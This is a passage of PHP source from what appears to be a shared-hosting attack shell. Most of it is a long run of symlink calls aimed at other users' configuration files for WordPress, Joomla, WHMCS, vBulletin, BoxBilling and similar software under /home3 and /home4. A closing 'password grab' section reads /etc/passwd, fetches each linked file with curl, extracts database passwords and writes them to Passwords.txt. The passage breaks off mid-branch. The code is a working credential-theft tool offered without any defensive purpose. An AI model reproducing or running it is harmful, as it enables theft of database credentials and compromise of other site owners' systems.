  1390. @symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1391. @symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1392. @symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1393. @symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1394. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1395. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1396. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1397. @symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1398. @symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1399. @symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1400. @symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1401. @symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1402. @symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1403. @symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1404. @symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1405. @symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1406. @symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1407. @symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1408. @symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1409. @symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1410. @symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1411. @symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1412. @symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1413. @symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1414. @symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1415. @symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1416. @symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1417. @symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1418. @symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1419. @symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1420. @symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1421. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1422. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1423. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1424. @symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1425. @symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1426. @symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1427. @symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1428. @symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1429. @symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1430. @symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1431. @symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1432. @symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1433. @symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1434. @symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1435. @symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1436. @symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1437. @symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1438. @symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1439. @symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1440. @symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1441. @symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1442. @symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1443. @symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1444. @symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1445. @symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1446. @symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1447. @symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1448. @symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1449. @symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1450. @symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1451. @symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1452. @symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1453. @symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1454. @symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1455. @symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1456. @symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1457. @symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1458. @symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1459. @symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1460. @symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1461. @symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1462. @symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1463. @symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1464. @symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1465. @symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1466. @symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1467. @symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1468. @symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1469. @symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1470. @symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1471. @symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1472. @symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1473. @symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1474. @symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1475.  
  1476. //Home4
  1477.  
  1478. @symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1479. @symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1480. @symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1481. @symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1482. @symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1483. @symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1484. @symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1485. @symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1486. @symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1487. @symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1488. @symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1489. @symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1490. @symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1491. @symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1492. @symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1493. @symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1494. @symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1495. @symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1496. @symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1497. @symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1498. @symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1499. @symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1500. @symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1501. @symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1502. @symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1503. @symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1504. @symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1505. @symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1506. @symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1507. @symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1508. @symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1509. @symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1510. @symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1511. @symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1512. @symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1513. @symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1514. @symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1515. @symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1516. @symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1517. @symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1518. @symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1519. @symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1520. @symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1521. @symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1522. @symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1523. @symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1524. @symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1525. @symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1526. @symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1527. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1528. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1529. @symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1530. @symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1531. @symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1532. @symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1533. @symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1534. @symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1535. @symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1536. @symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1537. @symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1538. @symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1539. @symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1540. @symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1541. @symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1542. @symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1543. @symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1544. @symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1545. @symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1546. @symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1547. @symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1548. @symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1549. @symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1550. @symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1551. @symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1552. @symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1553. @symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1554. @symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1555. @symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1556. @symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1557. @symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1558. @symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1559. @symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1560. @symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1561. @symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1562. @symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1563. @symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1564. @symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1565. @symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1566. @symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1567. @symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1568. @symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1569. @symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1570. @symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1571. @symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1572. @symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1573. @symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1574. @symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1575. @symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1576. @symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1577. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1578. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1579. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1580. @symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1581. @symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1582. @symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1583. @symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1584. @symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1585. @symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1586. @symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1587. @symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1588. @symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1589. @symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1590. @symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1591. @symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1592. @symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1593. @symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1594. @symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1595. @symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1596. @symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1597. @symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1598. @symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1599. @symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1600. @symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1601. @symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1602. @symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1603. @symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1604. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1605. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1606. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1607. @symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1608. @symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1609. @symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1610. @symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1611. @symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1612. @symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1613. @symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1614. @symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1615. @symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1616. @symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1617. @symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1618. @symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1619. @symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1620. @symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1621. @symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1622. @symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1623. @symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1624. @symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1625. @symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1626. @symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1627. @symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1628. @symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1629. @symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1630. @symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1631. @symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1632. @symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1633. @symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1634. @symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1635. @symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1636. @symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1637. @symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1638. @symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1639. @symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1640. @symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1641. @symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1642. @symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1643. @symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1644. @symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1645. @symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1646. @symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1647. @symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1648. @symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1649. @symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1650. @symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1651. @symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1652. @symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1653. @symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1654. @symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1655. @symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1656. @symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1657. @symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1658. }
  1659.  
  1660. //password grab
  1661.  
  1662. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
  1663. {
  1664. $ar0=explode($marqueurDebutLien, $text);
  1665. $ar1=explode($marqueurFinLien, $ar0[1]);
  1666. $ar=trim($ar1[0]);
  1667. return $ar;
  1668. }
  1669. $ffile=fopen('Passwords.txt','a+');
  1670. $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/tc_symconf/";
  1671. $re=$r;
  1672. $confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
  1673. $users=file("/etc/passwd");
  1674. foreach($users as $user)
  1675. {
  1676. $str=explode(":",$user);
  1677. $usersss=$str[0];
  1678. foreach($confi as $co)
  1679. {
  1680. $uurl=$re.$usersss.$co;
  1681. $uel=$uurl;
  1682. $ch = curl_init();
  1683. curl_setopt($ch, CURLOPT_URL, $uel);
  1684. curl_setopt($ch, CURLOPT_HEADER, 1);
  1685. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1686. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1687. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  1688. $result['EXE'] = curl_exec($ch);
  1689. curl_close($ch);
  1690. $uxl=$result['EXE'];
  1691. if($uxl && preg_match('/table_prefix/i',$uxl)) {
  1692.  
  1693. //Wordpress
  1694.  
  1695. $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
  1696. if(!empty($dbp))
  1697. $pass=$dbp."\n";
  1698. fwrite($ffile,$pass);
  1699. } elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl)) {
  1700.  
  1701. //WHMCS
  1702.  
  1703. $dbp=entre2v2($uxl,"db_password = '","';");
  1704. if(!empty($dbp))
  1705. $pass=$dbp."\n";
  1706. fwrite($ffile,$pass);
  1707. } elseif($uxl && preg_match('/dbprefix/i',$uxl)) {
  1708.  
  1709. //Joomla
  1710.  
  1711. $db=entre2v2($uxl,"password = '","';");
  1712. if(!empty($db))
  1713. $pass=$db."\n";
  1714. fwrite($ffile,$pass);
  1715. } elseif($uxl && preg_match('/admincpdir/i',$uxl)) {
  1716.  
  1717. //Vbulletin
  1718.  
  1719. $db=entre2v2($uxl,"password'] = '","';");
  1720. if(!empty($db))
  1721. $pass=$db."\n";
  1722. fwrite($ffile,$pass);
  1723. } elseif($uxl && preg_match('/DB_DATABASE/i',$uxl)) {
  1724.  
  1725. //Other
  1726.  
  1727. $db=entre2v2($uxl,"DB_PASSWORD', '","');");
  1728. if(!empty($db))
  1729. $pass=$db."\n";
  1730. fwrite($ffile,$pass);
  1731. } elseif($uxl && preg_match('/dbpass/i',$uxl)) {
  1732.  
  1733. //Other
  1734.  
  1735. $db=entre2v2($uxl,"dbpass = '","';");
  1736. if(!empty($db))
  1737. $pass=$db."\n";
  1738. fwrite($ffile,$pass);
  1739. } elseif($uxl && preg_match('/dbpass/i',$uxl)) {
  1740.  
  1741. //Other
  1742. $db=entre2v2($uxl,"dbpass = '","';");
  1743. if(!empty($db))
  1744. $pass=$db."\n";
  1745. fwrite($ffile,$pass);
  1746. } elseif($uxl && preg_match('/dbpass/i',$uxl)) {
  1747.  
  1748. //Other
  1749.  
